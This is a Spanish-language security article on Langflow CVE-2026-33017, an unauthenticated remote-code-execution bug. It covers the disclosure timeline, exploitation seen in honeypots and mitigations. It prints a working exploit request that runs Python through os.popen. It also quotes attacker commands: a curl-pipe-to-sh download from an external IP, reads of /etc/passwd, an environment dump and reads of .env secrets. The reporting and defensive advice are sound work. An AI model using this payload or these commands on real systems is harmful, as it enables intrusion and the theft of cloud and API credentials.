Langflow CVE-2026-33017: 20 horas entre el advisory y el RCE masivo

⏱️ Lectura: 14 min

Langflow CVE-2026-33017 es un RCE pre-autenticación con CVSS 9.8 que afecta a todas las versiones del framework hasta 1.8.1. El advisory se publicó el 16 de marzo de 2026 sin PoC público; veinte horas después, los honeypots del Sysdig Threat Research Team registraban los primeros exploits funcionales en producción.

📑 En este artículo

1. TL;DR
2. Qué pasó: anatomía de Langflow CVE-2026-33017
3. Cómo funciona el exploit en código
4. Cronología del disclosure
5. Las 20 horas: kill chain en honeypots
   1. Fase 1 (h20-21): scans automatizados con nuclei
   2. Fase 2 (h21-24): scripts Python custom
   3. Fase 3 (h24-30): credential harvesting
6. Datos y cifras: el patch window collapse
7. Impacto: Langflow como objetivo de alto valor
   1. Langflow lleva ocho CVEs en 2026
8. Cómo defenderse hoy mismo
9. Qué sigue: el patch window seguirá colapsando
10. Preguntas frecuentes
    1. ¿Estoy vulnerable a CVE-2026-33017?
    2. ¿Cómo sé si ya me comprometieron?
    3. ¿Por qué no se puso autenticación en lugar de eliminar el parámetro?
    4. ¿Cómo construyeron el exploit sin PoC público?
    5. ¿Esto afecta a DataStax Astra o solo a self-hosted?
    6. ¿Hay forma de mitigar sin parchear?
11. Referencias

El caso Langflow CVE-2026-33017 es el ejemplo más nítido hasta la fecha del patch window collapse: el tiempo entre el reporte de una vulnerabilidad y su explotación masiva ya no se mide en semanas, sino en horas. Para herramientas AI open-source con miles de instancias expuestas a internet, la ventana para parchear es casi inexistente.

TL;DR

• CVE-2026-33017 es un RCE pre-auth en Langflow ≤ 1.8.1 con CVSS 9.8/9.3 reportado por Aviral Srivastava.
• El endpoint POST /api/v1/build_public_tmp/{flow_id}/flow ejecuta código Python arbitrario sin sandboxing.
• Sysdig TRT detectó los primeros exploits 20 horas después del advisory del 16-mar-2026, sin PoC público.
• Atacantes reconstruyeron el exploit leyendo el texto del advisory; usaron plantillas nuclei privadas.
• Kill chain observada: scan nuclei, recon manual, dump de variables de entorno, exfiltración de .env.
• Langflow guarda API keys de OpenAI, Anthropic y AWS: compromiso significa lateral movement a cloud.
• Patch en Langflow 1.8.2 (20-mar-2026); el fix eliminó el parámetro data del endpoint público.
• Es el octavo CVE de Langflow en 2026 y refleja la tendencia del patch window collapse en herramientas AI.

Qué pasó: anatomía de Langflow CVE-2026-33017

Langflow es un framework open-source visual para construir agentes de IA y pipelines RAG con drag-and-drop. Adquirido por DataStax en 2024, suma más de 145.000 estrellas en GitHub y se ejecuta tradicionalmente en los puertos 7860 y 7861. La explosión de adopción que vino con el boom de los agentes lo convirtió en una pieza común en stacks de IA empresariales y en instancias self-hosted personales expuestas directamente a internet.

El bug vive en POST /api/v1/build_public_tmp/{flow_id}/flow, un endpoint diseñado intencionalmente sin autenticación para permitir la construcción de flujos públicos. Cuando un cliente envía el parámetro opcional data en el body, el servidor parsea el campo node.template.code.value —que contiene código Python arbitrario— y lo pasa directo a la función compilada nativa de Python sin ningún tipo de sandboxing. El resultado es ejecución remota de código con los privilegios del proceso Langflow, típicamente el usuario langflow con uid 1000 en los contenedores oficiales.

El detalle que vuelve este bug particularmente difícil de mitigar es arquitectónico: el endpoint tiene que ser público por diseño, no se puede simplemente agregar autenticación como se hizo con CVE-2025-3248, un RCE anterior en /api/v1/validate/code del mismo proyecto. El fix oficial en el PR #12160 eliminó por completo el parámetro data del endpoint público y forzó a usar la definición del flujo guardada en base de datos. CVSS v3.1 quedó en 9.8 (Critical) y CVSS v4.0 en 9.3 (Critical).

Cómo funciona el exploit en código

El payload conceptual mínimo para disparar la ejecución es trivial. Un atacante manda una petición POST al endpoint vulnerable con un nodo cuya plantilla de código importa os y ejecuta lo que quiera:

POST /api/v1/build_public_tmp/anyflowid/flow HTTP/1.1
Host: target.example:7860
Content-Type: application/json

{
  "data": {
    "nodes": [{
      "data": {
        "node": {
          "template": {
            "code": {
              "value": "import os\nos.popen('id').read()"
            }
          }
        }
      }
    }]
  }
}

El servidor compila el código nativo y lo ejecuta sin pasar por ningún wrapper. No hay validación AST, no hay restricciones de builtins, no hay seccomp ni cgroups. La función arbitraria queda corriendo bajo el usuario del proceso, con acceso completo al filesystem del contenedor, a las variables de entorno y a la red saliente.

Cronología del disclosure

El reporte privado tiene fecha del 25 de febrero de 2026: Aviral Srivastava encontró el bug leyendo el código fuente y lo envió por GitHub Security Advisory siguiendo el protocolo coordinado. El equipo de Langflow / DataStax mergeó el fix el 10 de marzo en el PR #12160 y publicó la versión 1.8.2 cuatro días después del advisory público. La línea de tiempo completa:

• 2026-02-25: Srivastava reporta el bug en privado vía GitHub Security Advisory.
• 2026-03-10: el vendor reconoce el fallo y mergea el fix en main.
• 2026-03-16: publicación de GHSA-vwmf-pq79-vjvx.
• 2026-03-17: Sysdig TRT despliega honeypots Langflow en múltiples nubes y regiones.
• 2026-03-17 (≈hora 20 post-advisory): primer scan automatizado contra los honeypots.
• 2026-03-19: Sysdig publica IOCs y análisis tras 48h de observación.
• 2026-03-20: release oficial de Langflow 1.8.2.

📌 Nota: el advisory no incluía un PoC. Los primeros payloads observados en honeypots aparecieron sin ningún ejemplo público publicado: los atacantes reconstruyeron el exploit leyendo la descripción del bug.

Las 20 horas: kill chain en honeypots

El equipo de Sysdig observó tres fases claramente diferenciadas en las primeras 30 horas posteriores al advisory. Aunque las IPs fueron seis distintas, las técnicas y el C2 compartido en 143.110.183.86:8080 sugieren un único operador con múltiples proxies o VPS.

Fase 1 (h20-21): scans automatizados con nuclei

Cuatro IPs (77.110.106.154, 209.97.165.247, 188.166.209.86 y 205.237.106.117) lanzaron scans uniformes con el motor nuclei. La firma fue inmediata: el header Cookie: client_id=nuclei-scanner, flujos nombrados nuclei-cve-2026-33017 y rotación de User-Agent desde una wordlist conocida. El payload importaba os, ejecutaba id vía popen, codificaba en base64 y exfiltraba a callbacks de interactsh.

El dato técnico relevante: la plantilla nuclei utilizada no está en el repositorio público de nuclei-templates. Es una plantilla privada que alguien escribió y desplegó en cuestión de horas tras el advisory. Eso descarta la hipótesis cómoda de que el ataque se disparó por un volcado masivo de templates oficiales y confirma que hubo trabajo humano deliberado entre el advisory y los primeros scans.

Fase 2 (h21-24): scripts Python custom

La IP 83.98.164.238 ejecutó una kill chain manual, metódica, con User-Agent python-requests/2.32.3. La secuencia observada en los honeypots fue:

$ ls -al /root
$ ls /app
$ cat /etc/passwd
$ id
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
$ bash -c 'curl http://173.212.205.251:8443/z | sh'

El stage-2 dropper hacia 173.212.205.251:8443/z nunca llegó a desplegar payload completo en los honeypots de Sysdig, pero la estructura del intento revela un actor preparado para escalada y persistencia, no solo reconocimiento.

Fase 3 (h24-30): credential harvesting

La IP 173.212.205.251 —la misma que servía el stage-2— ejecutó un dump completo de variables de entorno (donde típicamente viven OPENAI_API_KEY, ANTHROPIC_API_KEY, credenciales AWS y connection strings a vector DBs), barrió el sistema buscando archivos sensibles y extrajo todos los .env visibles:

$ env
$ find /app -name "*.db" -o -name "*.env"
$ cat /app/.env

El C2 compartido 143.110.183.86:8080 apareció en peticiones de dos IPs diferentes, lo que confirma la hipótesis del operador único con infraestructura distribuida. Para una organización víctima, eso significa que rotar credenciales tras detectar una sola IP atacante es insuficiente: la misma operación tiene proxies adicionales preparados para reintentar.

sequenceDiagram
    participant A as Investigador
    participant V as Langflow
    participant G as GHSA
    participant S as Honeypots
    participant At as Atacantes
    A->>V: 25-Feb reporte privado
    V->>V: 10-Mar merge fix
    V->>G: 16-Mar advisory publico
    G-->>At: lectura del texto
    At->>S: h20 scan nuclei
    At->>S: h21 recon manual
    At->>S: h24 dump env y API keys

Datos y cifras: el patch window collapse

El caso Langflow no es una anomalía. Es la confirmación cuantitativa de una tendencia documentada en proyectos como Zero Day Clock, que rastrea más de 83.000 CVEs y mide la ventana entre disclosure y explotación.

• La mediana del tiempo-a-explotación pasó de 771 días en 2018 a horas en 2024.
• 44% de los CVEs explotados en 2023 lo fueron en menos de 24 horas desde el disclosure.
• 80% de los PoCs públicos aparecen antes que el advisory oficial cuando hay disclosure descoordinado.
• La mediana del tiempo de patching organizacional sigue siendo de unos 20 días.

⚠️ Ojo: el patch window real no es advisory hasta exploit público — es advisory hasta primer scan masivo. En Langflow CVE-2026-33017 ese número fue 20 horas, sin necesidad de PoC público.

Impacto: Langflow como objetivo de alto valor

Una instancia Langflow comprometida no es solo un servidor más. Por la naturaleza del producto —orquestar agentes y pipelines RAG—, las instancias en producción suelen tener cargadas en variables de entorno o archivos .env:

• API keys de proveedores LLM (OpenAI, Anthropic, Google) con saldo activo.
• Credenciales AWS / GCP / Azure con permisos amplios.
• Connection strings a vector DBs (Pinecone, Weaviate, Chroma).
• Tokens de integraciones (Slack, GitHub, Notion).

Comprometer un Langflow es la entrada barata al tesoro. El atacante no necesita escalar privilegios locales: ya tiene credenciales cloud válidas y el lateral movement empieza desde otra cuenta legítima de la organización. Las implicaciones de supply chain son obvias si la instancia comprometida tiene write access a repos privados o feature flags de producción.

Langflow lleva ocho CVEs en 2026

El proyecto acumula una racha preocupante de fallos críticos en lo que va del año:

• CVE-2026-21445 (enero): falta de autenticación en endpoints API críticos.
• CVE-2026-27966 (febrero): RCE en el CSV Agent.
• CVE-2026-33053 (marzo): falta de verificación de ownership en API keys.
• CVE-2026-33309 (marzo): escritura arbitraria de archivos vía API v2.
• CVE-2026-33484 (marzo): IDOR no autenticado en descargas de imágenes.
• CVE-2026-33873 (marzo): ejecución de código autenticada.
• CVE-2026-42048 (abril): path traversal en knowledge bases vía bulk delete.

Ocho CVEs críticos en cuatro meses sugieren un problema sistémico de modelo de amenazas. Langflow nació como herramienta de prototipado rápido, pero su adopción en producción ha superado a las garantías de seguridad que el proyecto puede ofrecer con su tamaño actual de equipo.

Cómo defenderse hoy mismo

Las recomendaciones inmediatas de Sysdig se ordenan por urgencia:

1. Actualizar a Langflow ≥ 1.8.2. Si no se puede patchear inmediatamente, bloquear /api/v1/build_public_tmp en el firewall o reverse proxy.
2. Rotar todas las credenciales: OpenAI, Anthropic, AWS, DB passwords, tokens cloud. Asumir compromiso si la instancia estuvo expuesta entre el 17 y el 20 de marzo.
3. Nunca exponer Langflow directo a internet. Mínimo un reverse proxy con autenticación: nginx con mTLS, Cloudflare Access, Tailscale o un VPN corporativo.
4. Monitorear DNS y egress: conexiones salientes a oastify.com, interact.sh o dnslog.cn son señal fuerte de exfiltración. Bloquear en DNS si no hay justificación legítima.
5. Detección con Falco: reglas que disparan en os.popen + HTTP outbound sin firma del CVE funcionan para zero-days futuros del mismo patrón.

💡 Tip: el endpoint build_public_tmp existe en producción de Langflow incluso cuando no se necesita para el use case. Si tu deployment no usa flujos públicos, ciérralo a nivel de proxy sin esperar al patch.

Qué sigue: el patch window seguirá colapsando

El experimento de Sysdig deja una conclusión incómoda: con LLMs capaces de leer un advisory de GitHub y producir un exploit funcional en minutos, asumir que los advisories de seguridad solos sin PoC público son una ventana segura es ya una hipótesis falsa. Cualquier organización corriendo software open-source con frecuencia alta de CVEs necesita pipelines de patching que se midan en horas, no en sprints quincenales.

Para el ecosistema de herramientas IA específicamente, la lección es doble. Primero, los frameworks que evalúan código Python arbitrario como feature de producto (Langflow, varios agentes de coding, herramientas de notebook compartido) tienen una superficie de ataque enorme que crece con cada nueva integración. Segundo, las instancias self-hosted por usuarios técnicos pero no securitizados —el clásico que lo levanta en su VPS para probar— se convierten en blanco fácil con valor real, porque las claves cloud que tienen pesan miles de dólares en compute.

El patrón observado en Langflow CVE-2026-33017 se va a repetir. La defensa razonable no es esperar advisories más detallados o menos detallados, sino reducir la superficie expuesta: defaults privados, segmentación por VPN, secrets management que no deje claves planas en .env, monitoreo proactivo de egress.

📖 Resumen en Telegram: Ver resumen

Preguntas frecuentes

¿Estoy vulnerable a CVE-2026-33017?

Si corrés cualquier versión de Langflow ≤ 1.8.1 expuesta a internet, sí. La explotación es pre-autenticación: el atacante no necesita credenciales válidas, solo conectividad al puerto 7860/7861 o al que tengas configurado. Actualizá inmediatamente a 1.8.2 o superior y, mientras tanto, bloqueá el path /api/v1/build_public_tmp en tu reverse proxy.

¿Cómo sé si ya me comprometieron?

Revisá los logs HTTP del 17 al 20 de marzo de 2026 buscando peticiones POST a /api/v1/build_public_tmp/. Buscá conexiones salientes inusuales hacia interact.sh, oastify.com o cualquier IP de las publicadas como IOCs por Sysdig (77.110.106.154, 209.97.165.247, 188.166.209.86, 205.237.106.117, 83.98.164.238, 173.212.205.251). Si encontrás coincidencias, asumí que las credenciales en variables de entorno están comprometidas y rotalas todas.

¿Por qué no se puso autenticación en lugar de eliminar el parámetro?

El endpoint build_public_tmp está diseñado deliberadamente sin autenticación para permitir flujos públicos compartibles. Agregarle autenticación rompería el caso de uso. El fix del PR #12160 mantuvo el endpoint público pero eliminó la capacidad del cliente de enviar definiciones de flujo arbitrarias: ahora siempre se usa la definición guardada en BD, no la que el atacante envía por body.

¿Cómo construyeron el exploit sin PoC público?

El texto del advisory describía el endpoint vulnerable y el mecanismo del bug. Con eso, alguien con experiencia en seguridad ofensiva —o un LLM bien dirigido— puede deducir el shape del payload en minutos. El factor LLM acelera el proceso, pero el bug es lo suficientemente simple como para reconstruirse a mano leyendo dos párrafos. La plantilla nuclei privada confirma que hubo trabajo deliberado, no automatización ciega.

¿Esto afecta a DataStax Astra o solo a self-hosted?

El CVE afecta al binario Langflow self-hosted. DataStax notifica a sus clientes managed por separado y aplica patches en su infraestructura. Si usás Astra o cualquier oferta gestionada de Langflow, verificá con el proveedor el estado del fix; si corrés Langflow en tu propia infra, asumí que estás afectado salvo que ya estés en 1.8.2 o superior.

¿Hay forma de mitigar sin parchear?

Sí: bloquear el path /api/v1/build_public_tmp en tu reverse proxy o WAF. Es la mitigación más rápida si la actualización de la versión requiere coordinación. No es solución definitiva: el CVE seguirá existiendo en otros endpoints si aparecen, así que parcheá tan pronto como puedas y combiná con segmentación de red.

Referencias

• NVD CVE-2026-33017 — entrada oficial del National Vulnerability Database con CVSS y descripción técnica.
• GitHub Security Advisory GHSA-vwmf-pq79-vjvx — advisory primario del vendor.
• Sysdig TRT: análisis de explotación en 20 horas — kill chain completa, IOCs y telemetría de honeypots.
• Commit del patch — fix oficial en el código fuente de Langflow.
• Release Langflow 1.8.2 — notas oficiales de la versión con el parche.
• Writeup del investigador — Aviral Srivastava explica el proceso de descubrimiento.
• Zero Day Clock — estadísticas globales sobre tiempo-a-explotación y patch window.

📱 ¿Te gusta este contenido? Únete a nuestro canal de Telegram @programacion donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.